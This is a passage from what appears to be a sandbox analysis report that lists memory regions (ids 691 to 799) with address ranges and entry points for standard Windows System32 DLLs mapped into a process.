filename = "\\Windows\\System32\\VEEventDispatcher.dll" (normalized: "c:\\windows\\system32\\veeventdispatcher.dll") Region: id = 691 start_va = 0x7ffd44840000 end_va = 0x7ffd4485afff monitored = 0 entry_point = 0x7ffd44841040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 692 start_va = 0x7ffd44860000 end_va = 0x7ffd44ae7fff monitored = 0 entry_point = 0x7ffd448bf670 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 693 start_va = 0x7ffd44af0000 end_va = 0x7ffd44af9fff monitored = 0 entry_point = 0x7ffd44af14c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 694 start_va = 0x7ffd44b00000 end_va = 0x7ffd44b0dfff monitored = 0 entry_point = 0x7ffd44b01460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 695 start_va = 0x7ffd44b30000 end_va = 0x7ffd44b44fff monitored = 0 entry_point = 0x7ffd44b32dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 696 start_va = 0x7ffd44bf0000 end_va = 0x7ffd44c1afff monitored = 0 entry_point = 0x7ffd44bfc3c0 region_type = mapped_file name = "rtworkq.dll" filename = "\\Windows\\System32\\RTWorkQ.dll" (normalized: "c:\\windows\\system32\\rtworkq.dll") Region: id = 697 start_va = 0x7ffd44c20000 end_va = 0x7ffd44d2cfff monitored = 0 entry_point = 0x7ffd44c4f420 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll") Region: id = 698 start_va = 0x7ffd44db0000 end_va = 0x7ffd44e0efff monitored = 0 entry_point = 0x7ffd44ddbce0 region_type = mapped_file name = "dsreg.dll" filename = "\\Windows\\System32\\dsreg.dll" (normalized: "c:\\windows\\system32\\dsreg.dll") Region: id = 699 start_va = 0x7ffd45200000 end_va = 0x7ffd4529ffff monitored = 0 entry_point = 0x7ffd45270910 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 700 start_va = 0x7ffd45440000 end_va = 0x7ffd454a6fff monitored = 0 entry_point = 0x7ffd454463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 701 start_va = 0x7ffd455c0000 end_va = 0x7ffd4566dfff monitored = 0 entry_point = 0x7ffd455d80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 702 start_va = 0x7ffd45750000 end_va = 0x7ffd4575afff monitored = 0 entry_point = 0x7ffd45751d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 703 start_va = 0x7ffd45800000 end_va = 0x7ffd4586cfff monitored = 0 entry_point = 0x7ffd4580d750 region_type = mapped_file name = "photometadatahandler.dll" filename = "\\Windows\\System32\\PhotoMetadataHandler.dll" (normalized: "c:\\windows\\system32\\photometadatahandler.dll") Region: id = 704 start_va = 0x7ffd458c0000 end_va = 0x7ffd45914fff monitored = 0 entry_point = 0x7ffd458c3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 705 start_va = 0x7ffd45a10000 end_va = 0x7ffd45a29fff monitored = 0 entry_point = 0x7ffd45a12430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 706 start_va = 0x7ffd45a30000 end_va = 0x7ffd45a45fff monitored = 0 entry_point = 0x7ffd45a319f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 707 start_va = 0x7ffd45aa0000 end_va = 0x7ffd45ae0fff monitored = 0 entry_point = 0x7ffd45aa4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 708 start_va = 0x7ffd45b30000 end_va = 0x7ffd45b57fff monitored = 0 entry_point = 0x7ffd45b38c10 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 709 start_va = 0x7ffd45ca0000 end_va = 0x7ffd45e5ffff monitored = 0 entry_point = 0x7ffd45ca9e40 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" (normalized: "c:\\windows\\system32\\pnidui.dll") Region: id = 710 start_va = 0x7ffd45f00000 end_va = 0x7ffd45f0bfff monitored = 0 entry_point = 0x7ffd45f01470 region_type = mapped_file name = "dsclient.dll" filename = "\\Windows\\System32\\dsclient.dll" (normalized: "c:\\windows\\system32\\dsclient.dll") Region: id = 711 start_va = 0x7ffd45f80000 end_va = 0x7ffd45f8bfff monitored = 0 entry_point = 0x7ffd45f81860 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 712 start_va = 0x7ffd45f90000 end_va = 0x7ffd45faffff monitored = 0 entry_point = 0x7ffd45f91920 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 713 start_va = 0x7ffd45fb0000 end_va = 0x7ffd45fc5fff monitored = 0 entry_point = 0x7ffd45fb3380 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 714 start_va = 0x7ffd45fd0000 end_va = 0x7ffd45fdafff monitored = 0 entry_point = 0x7ffd45fd1a40 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 715 start_va = 0x7ffd45fe0000 end_va = 0x7ffd46002fff monitored = 0 entry_point = 0x7ffd45fe99a0 region_type = mapped_file name = "networkstatus.dll" filename = "\\Windows\\System32\\NetworkStatus.dll" (normalized: "c:\\windows\\system32\\networkstatus.dll") Region: id = 716 start_va = 0x7ffd460b0000 end_va = 0x7ffd460e7fff monitored = 0 entry_point = 0x7ffd460c8cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 717 start_va = 0x7ffd46190000 end_va = 0x7ffd461a8fff monitored = 0 entry_point = 0x7ffd46194520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 718 start_va = 0x7ffd46790000 end_va = 0x7ffd46830fff monitored = 0 entry_point = 0x7ffd46793db0 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 719 start_va = 0x7ffd46840000 end_va = 0x7ffd46853fff monitored = 0 entry_point = 0x7ffd468450c0 region_type = mapped_file name = "hcproviders.dll" filename = "\\Windows\\System32\\hcproviders.dll" (normalized: "c:\\windows\\system32\\hcproviders.dll") Region: id = 720 start_va = 0x7ffd46860000 end_va = 0x7ffd468cffff monitored = 0 entry_point = 0x7ffd46882960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 721 start_va = 0x7ffd46920000 end_va = 0x7ffd469e7fff monitored = 0 entry_point = 0x7ffd469613f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 722 start_va = 0x7ffd469f0000 end_va = 0x7ffd46a50fff monitored = 0 entry_point = 0x7ffd469f4b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 723 start_va = 0x7ffd46ec0000 end_va = 0x7ffd4707cfff monitored = 0 entry_point = 0x7ffd46eeaf90 region_type = mapped_file name = "windows.ui.immersive.dll" filename = "\\Windows\\System32\\Windows.UI.Immersive.dll" (normalized: "c:\\windows\\system32\\windows.ui.immersive.dll") Region: id = 724 start_va = 0x7ffd47080000 end_va = 0x7ffd47401fff monitored = 0 entry_point = 0x7ffd470d1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 725 start_va = 0x7ffd47410000 end_va = 0x7ffd47545fff monitored = 0 entry_point = 0x7ffd4743f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 726 start_va = 0x7ffd48590000 end_va = 0x7ffd48638fff monitored = 0 entry_point = 0x7ffd485b9010 region_type = mapped_file name = "windows.ui.dll" filename = "\\Windows\\System32\\Windows.UI.dll" (normalized: "c:\\windows\\system32\\windows.ui.dll") Region: id = 727 start_va = 0x7ffd48640000 end_va = 0x7ffd4874dfff monitored = 0 entry_point = 0x7ffd4868eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 728 start_va = 0x7ffd48750000 end_va = 0x7ffd487b9fff monitored = 0 entry_point = 0x7ffd48759d60 region_type = mapped_file name = "wincorlib.dll" filename = "\\Windows\\System32\\wincorlib.dll" (normalized: "c:\\windows\\system32\\wincorlib.dll") Region: id = 729 start_va = 0x7ffd487c0000 end_va = 0x7ffd48857fff monitored = 0 entry_point = 0x7ffd487e3980 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 730 start_va = 0x7ffd48860000 end_va = 0x7ffd488fffff monitored = 0 entry_point = 0x7ffd488856b0 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" (normalized: "c:\\windows\\system32\\hgcpl.dll") Region: id = 731 start_va = 0x7ffd48900000 end_va = 0x7ffd48981fff monitored = 0 entry_point = 0x7ffd48904ef0 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" (normalized: "c:\\windows\\system32\\imapi2.dll") Region: id = 732 start_va = 0x7ffd48990000 end_va = 0x7ffd489ecfff monitored = 0 entry_point = 0x7ffd48996c90 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" (normalized: "c:\\windows\\system32\\srchadmin.dll") Region: id = 733 start_va = 0x7ffd489f0000 end_va = 0x7ffd48a40fff monitored = 0 entry_point = 0x7ffd489f25e0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 734 start_va = 0x7ffd48ac0000 end_va = 0x7ffd48aedfff monitored = 0 entry_point = 0x7ffd48ac6580 region_type = mapped_file name = "wscinterop.dll" filename = "\\Windows\\System32\\wscinterop.dll" (normalized: "c:\\windows\\system32\\wscinterop.dll") Region: id = 735 start_va = 0x7ffd48b80000 end_va = 0x7ffd48bf9fff monitored = 0 entry_point = 0x7ffd48ba7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 736 start_va = 0x7ffd48cb0000 end_va = 0x7ffd48cc5fff monitored = 0 entry_point = 0x7ffd48cb1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 737 start_va = 0x7ffd48cd0000 end_va = 0x7ffd48d33fff monitored = 0 entry_point = 0x7ffd48ce5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 738 start_va = 0x7ffd48d80000 end_va = 0x7ffd48e11fff monitored = 0 entry_point = 0x7ffd48dca780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 739 start_va = 0x7ffd49140000 end_va = 0x7ffd49150fff monitored = 0 entry_point = 0x7ffd49143320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 740 start_va = 0x7ffd493e0000 end_va = 0x7ffd49924fff monitored = 0 entry_point = 0x7ffd4957a450 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 741 start_va = 0x7ffd49930000 end_va = 0x7ffd49b9efff monitored = 0 entry_point = 0x7ffd499e22b0 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 742 start_va = 0x7ffd49c40000 end_va = 0x7ffd49c57fff monitored = 0 entry_point = 0x7ffd49c45910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 743 start_va = 0x7ffd49e00000 end_va = 0x7ffd49e4afff monitored = 0 entry_point = 0x7ffd49e172b0 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 744 start_va = 0x7ffd49e50000 end_va = 0x7ffd4a000fff monitored = 0 entry_point = 0x7ffd49ee61a0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 745 start_va = 0x7ffd4a010000 end_va = 0x7ffd4a0b1fff monitored = 0 entry_point = 0x7ffd4a030a40 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 746 start_va = 0x7ffd4a0c0000 end_va = 0x7ffd4a367fff monitored = 0 entry_point = 0x7ffd4a153250 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 747 start_va = 0x7ffd4a370000 end_va = 0x7ffd4a391fff monitored = 0 entry_point = 0x7ffd4a371a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 748 start_va = 0x7ffd4a3d0000 end_va = 0x7ffd4a48dfff monitored = 0 entry_point = 0x7ffd4a412d40 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 749 start_va = 0x7ffd4a490000 end_va = 0x7ffd4a572fff monitored = 0 entry_point = 0x7ffd4a4c7da0 region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\System32\\dcomp.dll" (normalized: "c:\\windows\\system32\\dcomp.dll") Region: id = 750 start_va = 0x7ffd4a880000 end_va = 0x7ffd4a8f8fff monitored = 0 entry_point = 0x7ffd4a89fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 751 start_va = 0x7ffd4a940000 end_va = 0x7ffd4aa05fff monitored = 0 entry_point = 0x7ffd4a943ac0 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 752 start_va = 0x7ffd4aa70000 end_va = 0x7ffd4aaaffff monitored = 0 entry_point = 0x7ffd4aa83750 region_type = mapped_file name = "settingmonitor.dll" filename = "\\Windows\\System32\\SettingMonitor.dll" (normalized: "c:\\windows\\system32\\settingmonitor.dll") Region: id = 753 start_va = 0x7ffd4aab0000 end_va = 0x7ffd4af42fff monitored = 0 entry_point = 0x7ffd4aabf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 754 start_va = 0x7ffd4af50000 end_va = 0x7ffd4afb6fff monitored = 0 entry_point = 0x7ffd4af6e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 755 start_va = 0x7ffd4afc0000 end_va = 0x7ffd4b00efff monitored = 0 entry_point = 0x7ffd4afc7ab0 region_type = mapped_file name = "inputswitch.dll" filename = "\\Windows\\System32\\InputSwitch.dll" (normalized: "c:\\windows\\system32\\inputswitch.dll") Region: id = 756 start_va = 0x7ffd4b010000 end_va = 0x7ffd4b195fff monitored = 0 entry_point = 0x7ffd4b05d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 757 start_va = 0x7ffd4b1a0000 end_va = 0x7ffd4b1bbfff monitored = 0 entry_point = 0x7ffd4b1a37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 758 start_va = 0x7ffd4b1c0000 end_va = 0x7ffd4b1f4fff monitored = 0 entry_point = 0x7ffd4b1c3cc0 region_type = mapped_file name = "wscapi.dll" filename = "\\Windows\\System32\\wscapi.dll" (normalized: "c:\\windows\\system32\\wscapi.dll") Region: id = 759 start_va = 0x7ffd4b200000 end_va = 0x7ffd4b212fff monitored = 0 entry_point = 0x7ffd4b202760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 760 start_va = 0x7ffd4b220000 end_va = 0x7ffd4b244fff monitored = 0 entry_point = 0x7ffd4b222300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 761 start_va = 0x7ffd4b280000 end_va = 0x7ffd4b2a4fff monitored = 0 entry_point = 0x7ffd4b295220 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 762 start_va = 0x7ffd4b2d0000 end_va = 0x7ffd4b302fff monitored = 0 entry_point = 0x7ffd4b2d3800 region_type = mapped_file name = "portabledevicetypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" (normalized: "c:\\windows\\system32\\portabledevicetypes.dll") Region: id = 763 start_va = 0x7ffd4b310000 end_va = 0x7ffd4b324fff monitored = 0 entry_point = 0x7ffd4b312850 region_type = mapped_file name = "wpdshserviceobj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" (normalized: "c:\\windows\\system32\\wpdshserviceobj.dll") Region: id = 764 start_va = 0x7ffd4b330000 end_va = 0x7ffd4b36bfff monitored = 0 entry_point = 0x7ffd4b3325e0 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" (normalized: "c:\\windows\\system32\\bthprops.cpl") Region: id = 765 start_va = 0x7ffd4b470000 end_va = 0x7ffd4b505fff monitored = 0 entry_point = 0x7ffd4b495570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 766 start_va = 0x7ffd4b530000 end_va = 0x7ffd4b556fff monitored = 0 entry_point = 0x7ffd4b537940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 767 start_va = 0x7ffd4b670000 end_va = 0x7ffd4b719fff monitored = 0 entry_point = 0x7ffd4b697910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 768 start_va = 0x7ffd4b720000 end_va = 0x7ffd4b81ffff monitored = 0 entry_point = 0x7ffd4b760f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 769 start_va = 0x7ffd4b8b0000 end_va = 0x7ffd4b8d9fff monitored = 0 entry_point = 0x7ffd4b8b8b90 region_type = mapped_file name = "rmclient.dll" filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll") Region: id = 770 start_va = 0x7ffd4bc90000 end_va = 0x7ffd4bd83fff monitored = 0 entry_point = 0x7ffd4bc9a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 771 start_va = 0x7ffd4bf00000 end_va = 0x7ffd4bf0bfff monitored = 0 entry_point = 0x7ffd4bf027e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 772 start_va = 0x7ffd4bfe0000 end_va = 0x7ffd4c010fff monitored = 0 entry_point = 0x7ffd4bfe7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 773 start_va = 0x7ffd4c040000 end_va = 0x7ffd4c0b9fff monitored = 0 entry_point = 0x7ffd4c061a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 774 start_va = 0x7ffd4c140000 end_va = 0x7ffd4c149fff monitored = 0 entry_point = 0x7ffd4c141830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 775 start_va = 0x7ffd4c250000 end_va = 0x7ffd4c26efff monitored = 0 entry_point = 0x7ffd4c255d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 776 start_va = 0x7ffd4c3c0000 end_va = 0x7ffd4c41bfff monitored = 0 entry_point = 0x7ffd4c3d6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 777 start_va = 0x7ffd4c470000 end_va = 0x7ffd4c486fff monitored = 0 entry_point = 0x7ffd4c4779d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 778 start_va = 0x7ffd4c590000 end_va = 0x7ffd4c59afff monitored = 0 entry_point = 0x7ffd4c5919a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 779 start_va = 0x7ffd4c620000 end_va = 0x7ffd4c659fff monitored = 0 entry_point = 0x7ffd4c628d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 780 start_va = 0x7ffd4c660000 end_va = 0x7ffd4c686fff monitored = 0 entry_point = 0x7ffd4c670aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 781 start_va = 0x7ffd4c770000 end_va = 0x7ffd4c79cfff monitored = 0 entry_point = 0x7ffd4c789d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 782 start_va = 0x7ffd4c900000 end_va = 0x7ffd4c955fff monitored = 0 entry_point = 0x7ffd4c910bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 783 start_va = 0x7ffd4c980000 end_va = 0x7ffd4c9a8fff monitored = 0 entry_point = 0x7ffd4c994530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 784 start_va = 0x7ffd4c9b0000 end_va = 0x7ffd4ca48fff monitored = 0 entry_point = 0x7ffd4c9df4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 785 start_va = 0x7ffd4caf0000 end_va = 0x7ffd4cb03fff monitored = 0 entry_point = 0x7ffd4caf52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 786 start_va = 0x7ffd4cb10000 end_va = 0x7ffd4cb5afff monitored = 0 entry_point = 0x7ffd4cb135f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 787 start_va = 0x7ffd4cb60000 end_va = 0x7ffd4cb6ffff monitored = 0 entry_point = 0x7ffd4cb656e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 788 start_va = 0x7ffd4cb70000 end_va = 0x7ffd4cb7efff monitored = 0 entry_point = 0x7ffd4cb73210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 789 start_va = 0x7ffd4cb80000 end_va = 0x7ffd4cbc2fff monitored = 0 entry_point = 0x7ffd4cb94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 790 start_va = 0x7ffd4cc80000 end_va = 0x7ffd4ccd4fff monitored = 0 entry_point = 0x7ffd4cc97970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 791 start_va = 0x7ffd4cce0000 end_va = 0x7ffd4d323fff monitored = 0 entry_point = 0x7ffd4cea64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 792 start_va = 0x7ffd4d350000 end_va = 0x7ffd4d516fff monitored = 0 entry_point = 0x7ffd4d3adb80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 793 start_va = 0x7ffd4d5b0000 end_va = 0x7ffd4d664fff monitored = 0 entry_point = 0x7ffd4d5f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 794 start_va = 0x7ffd4d670000 end_va = 0x7ffd4d857fff monitored = 0 entry_point = 0x7ffd4d69ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 795 start_va = 0x7ffd4d860000 end_va = 0x7ffd4d8c9fff monitored = 0 entry_point = 0x7ffd4d896d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 796 start_va = 0x7ffd4d8d0000 end_va = 0x7ffd4da55fff monitored = 0 entry_point = 0x7ffd4d91ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 797 start_va = 0x7ffd4da60000 end_va = 0x7ffd4db7bfff monitored = 0 entry_point = 0x7ffd4daa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 798 start_va = 0x7ffd4db80000 end_va = 0x7ffd4dc40fff monitored = 0 entry_point = 0x7ffd4dba0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 799 start_va = 0x7ffd4dc70000 end_va = 0x7ffd4deecfff monitored = 0 entry_point = 